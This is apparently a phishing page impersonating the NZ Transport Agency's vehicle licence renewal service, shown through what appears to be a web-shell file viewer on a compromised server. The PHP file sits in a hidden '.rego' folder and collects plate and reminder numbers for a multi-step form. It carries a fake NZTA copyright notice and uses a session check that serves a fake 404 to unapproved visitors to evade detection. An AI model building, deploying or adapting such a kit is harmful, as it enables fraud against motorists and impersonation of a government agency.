HEX
Server: Apache/2.4.57 (Unix) OpenSSL/1.1.1k
System: Linux server.eshhar.net 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
User: xdas (1048)
PHP: 7.4.33
Disabled: mail,sendmail
Upload Files
File: /home/xdas/public_html/oldsite/.rego/regotransport/transact.php
<?php

session_start();
if (isset($_SESSION['access']) && $_SESSION['access'] == true) {
    $display ='none';
    if(isset($_GET['error'])){
        $display = 'block';
    }
} else {
    header("HTTP/1.0 404 Not Found");
    die();
}

?>
<!DOCTYPE html>
<html class="responsive modern noTouchEvents placeholders fixed sticky history tel postMessage fileApi localStorage cssAnimation js flexbox flexboxlegacy canvas canvastext webgl no-touch no-geolocation postmessage no-websqldatabase indexeddb hashchange history draganddrop websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients no-cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio localstorage sessionstorage webworkers applicationcache svg inlinesvg smil svgclippaths responsive modern noTouchEvents placeholders fixed sticky history tel postMessage fileApi localStorage cssAnimation js flexbox flexboxlegacy canvas canvastext webgl no-touch geolocation postmessage no-websqldatabase indexeddb hashchange history draganddrop websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients no-cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio localstorage sessionstorage webworkers applicationcache svg inlinesvg smil svgclippaths" style=""><head class="no-js">

  <meta http-equiv="content-type" content="text/html; charset=UTF-8">



  <title>Online services</title>
  <meta charset="UTF-8">


  <meta name="viewport" content="width=device-width, initial-scale=1">






  <link href="assets/css/css.css" rel="stylesheet" type="text/css">



  <link href="assets/css/screen.css" rel="stylesheet">


  <link href="assets/css/Override.css" rel="stylesheet">





  <link rel="stylesheet" href="assets/css/icons-data-svg.css">
  <script>
    window.grunticon = function (e) { if (e && 3 === e.length) { var t = window, n = !(!t.document.createElementNS || !t.document.createElementNS("http://www.w3.org/2000/svg", "svg").createSVGRect || !document.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image", "1.1") || window.opera && -1 === navigator.userAgent.indexOf("Chrome")), o = function (o) { var r = t.document.createElement("link"), a = t.document.getElementsByTagName("script")[0]; r.rel = "stylesheet", r.href = e[o && n ? 0 : o ? 1 : 2], a.parentNode.insertBefore(r, a) }, r = new t.Image; r.onerror = function () { o(!1) }, r.onload = function () { o(1 === r.width && 1 === r.height) }, r.src = "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==" } };
    grunticon(["/Content/PatternLibrary/icons-data-svg.css", "/Content/PatternLibrary/icons-data-png.css", "/Content/PatternLibrary/icons-fallback.css"]);
  </script>

  <SCRIPT language=JavaScript> <!--

  function check_all(form) {

    if (form.PlateNumberTextbox.value.length == 0) {
        form.PlateNumberTextbox.focus();
        return false;
    }
  }

  --> </SCRIPT>

  <script src="index_files/nzta.js"></script>

  <script src="assets/js/jquery-1.js"></script>

  <script src="assets/js/jquery.js"></script>

  <script src="assets/js/modernizr-2.js"></script>
</head>

<body class="theme--neutral"><noscript>
  <link href="/Content/PatternLibrary/icons-fallback.css" rel="stylesheet" />
</noscript>




<a class="access access-skip" accesskey="0" href="#nzta-access-keys"></a>
<a class="access access-skip" accesskey="1" href="#nzta-main-content">Skip to content</a>
<a class="access access-skip" accesskey="2" href="#">Skip to top</a>
<div class="access section access-keys" id="nzta-access-keys">

  <div class="wrapper">

    <div class="[ layout ]">

      <div class="[ grid ]">

        <div class="[ col ]">

          <h4>
            Access keys
          </h4>


          <ul class="list-unstyled">

            <li><strong class="access-keys__key">0</strong>   Show list of access keys</li>

            <li><strong class="access-keys__key">1</strong>   Skip to content</li>

            <li><strong class="access-keys__key">2</strong>   Skip to top</li>


          </ul>

        </div>

      </div>

    </div>

  </div>

</div>




<div class="global-nav theme--strong">

  <div class="[ wrapper ]">

    <div class="[ layout ]">

      <div class="[ grid grid--middle ]">

        <div class="[ col large-4 medium-3 small-5 ]">

                    <span class="i i-nzta-logo">
                    </span>
        </div>



      </div>

    </div>

  </div>

</div>




<div class="header theme--dark">

  <div class="[ section-m ] header__title">

    <div class="wrapper">

      <div class="[ layout layout--half ]">

        <div class="[ grid ]">

          <div class="[ col ]">

            <ol class="breadcrumb">

              <li>

                <span>Online Services</span>

              </li>


            </ol>



            <h1>
              Renewal of vehicle licence (rego)
            </h1>

          </div>

        </div>

      </div>

    </div>

  </div>

</div>



<a name="nzta-main-content" id="nzta-main-content"></a>

<div class="theme--neutral">

  <div class="wrapper" id="errors-parent">


    <div id="template-for-error" style="display: none;">

      <div class="[ section layout layout--half layout--nudge ] error-template theme--error">

        <div class="grid">

          <div class="col">

            <div class="theme--details">

              <h2>Error</h2>


              <p class="error-text-location">Error text</p>

            </div>

          </div>

        </div>

      </div>

    </div>


      <div id="plate_error" style="display: <?php echo $display;?>" class="[ section layout layout--half layout--nudge ] theme--error">
          <div class="grid">
              <div class="col">
                  <div class="theme--details">
                      <h2>Error</h2>
                      <p class="error-text-location">Please enter a plate number.</p>
                  </div>
              </div>
          </div>
      </div>

    <div class="[ section layout layout--half layout--nudge ] theme--paper">

      <div class="[ grid ]">

        <div class="[ col ]" id="nzta-main-content">




          <form name="Form" action="post/step1" id="main-form" method="post" novalidate="novalidate">


            <input name="SubmitButton" value="EnterPressed" style="position: absolute; left: -9999px; width: 1px; height: 1px;" type="submit">
            <div class="progress--bar">
              <label class="field__label" for="">Where I'm up to:</label>

              <div class="i-bg-hatched">

                <div style="width: 16%;"></div>

              </div>

            </div>

            <div class="field--details">

              <h4>Enter Details.</h4>

            </div>


            <div class="field--text">

              <label class="field__label" for="PlateNumberTextbox">Plate Number:</label>
              <span class="field__input">
        <input name="PlateNumberTextbox" id="PlateNumberTextbox" maxlength="6" placeholder="e.g. ABC123" type="text">
    </span>


            </div>


            <div class="field--number">

              <label class="field__label" for="ReminderNumberTextbox">Reminder Number:</label>
              <span class="field__input">
        <input data-rule-number="false" name="ReminderNumberTextbox" id="ReminderNumberTextbox" maxlength="6" placeholder="" type="tel">
    </span>



              <p class="field__note"><b><i>Quick tip:&nbsp;</i></b>This is the six digit number on the top right hand corner of your renewal notice. You can leave this blank if you don't have it.




                <span class="field__input captcha-wrapper"></span>&nbsp;</p>

            </div>



            <div class="field--radio-button-group">

              <label class="field__label" for="LicencePeriodDropdown">
                Licence period:
              </label>

              <div class="field__input">

                <ul class="segmented-control segmented-control--12-segments">

                  <li>
                    <input value="1" name="LicencePeriodDropdown" id="ExemptionPeriod1Months" type="radio">
                    <label for="ExemptionPeriod1Months">1
                      <span>month</span>
                    </label>
                  </li>
                  <li>
                    <input value="2" name="LicencePeriodDropdown" id="ExemptionPeriod2Months" type="radio">
                    <label for="ExemptionPeriod2Months">2
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="3" name="LicencePeriodDropdown" id="ExemptionPeriod3Months" type="radio">
                    <label for="ExemptionPeriod3Months">3
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="4" name="LicencePeriodDropdown" id="ExemptionPeriod4Months" type="radio">
                    <label for="ExemptionPeriod4Months">4
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="5" name="LicencePeriodDropdown" id="ExemptionPeriod5Months" type="radio">
                    <label for="ExemptionPeriod5Months">5
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="6" name="LicencePeriodDropdown" id="ExemptionPeriod6Months" type="radio">
                    <label for="ExemptionPeriod6Months">6
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="7" name="LicencePeriodDropdown" id="ExemptionPeriod7Months" type="radio">
                    <label for="ExemptionPeriod7Months">7
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="8" name="LicencePeriodDropdown" id="ExemptionPeriod8Months" type="radio">
                    <label for="ExemptionPeriod8Months">8
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="9" name="LicencePeriodDropdown" id="ExemptionPeriod9Months" type="radio">
                    <label for="ExemptionPeriod9Months">9
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="10" name="LicencePeriodDropdown" id="ExemptionPeriod10Months" type="radio">
                    <label for="ExemptionPeriod10Months">10
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="11" name="LicencePeriodDropdown" id="ExemptionPeriod11Months" type="radio">
                    <label for="ExemptionPeriod11Months">11
                      <span>months</span>
                    </label>
                  </li>
                  <li>
                    <input value="12" name="LicencePeriodDropdown" id="ExemptionPeriod12Months" checked="checked" type="radio">
                    <label for="ExemptionPeriod12Months">12
                      <span>months</span>
                    </label>
                  </li>

                </ul>

              </div>


              <p class="field__note"><b><i>Quick tip:&nbsp;</i></b>Select a licensing period from 1 to 12 months.</p>

            </div>

            <div class="field--submit">
    <span class="field__input">
        <input class="btn--submit btn--green" name="SubmitButton" onClick="return check_all(this.form);" id="SubmitButton" value="Continue" type="submit">
    </span>
            </div>

            <div class="field--submit">
    <span class="field__input">
        <input class="btn--submit btn--red cancel" name="SubmitButton" onClick="return check_all(this.form);" id="SubmitButton" value="Cancel transaction" formnovalidate="" type="submit">
    </span>
            </div>

          </form>


          <script>
            $(document).ready(function () {

              var length = $("#ReminderNumberTextbox").val().length;

            })
          </script>
        </div>

      </div>

    </div>

  </div>

</div>




<div class="section theme--neutral footer">

  <div class="wrapper">

    <div class="layout">

      <div class="grid grid-flip-small">

        <div class="col large-two-thirds medium-full-size">

          <ul class="footer_pages list-inline list-unstyled small-block-list">

            <li>
              <a href="#" target="_blank">

                <div class="icon-wrapper">
                  <i class="i i-contact-grey"></i>
                </div>

                <span>Contact</span>
              </a>
            </li>


          </ul>

        </div>


        <div class="col medium-half">

          <p class="small">
            © <?php echo date('Y') ;?> NZ Transport Agency, all rights reserved
          </p>

        </div>


        <div class="col medium-half text-right--medium">

          <p>

            <i class="i i-nzgovt"></i>

          </p>

        </div>

      </div>

    </div>

  </div>

</div>







<script>
  $(document).ready(function () {
    $('#PlateNumberTextbox').focus();        });
</script>



<script>
  $(document).ready(function () {
    // Rule for PlateNumberTextbox
    $("#PlateNumberTextbox").rules("add", {
      regex: "^[A-Za-z0-9]{1,6}$",
      messages: {
        regex: "Enter the plate without any spaces (and no more than six characters)."
      }
    });
  });
</script>



</body></html>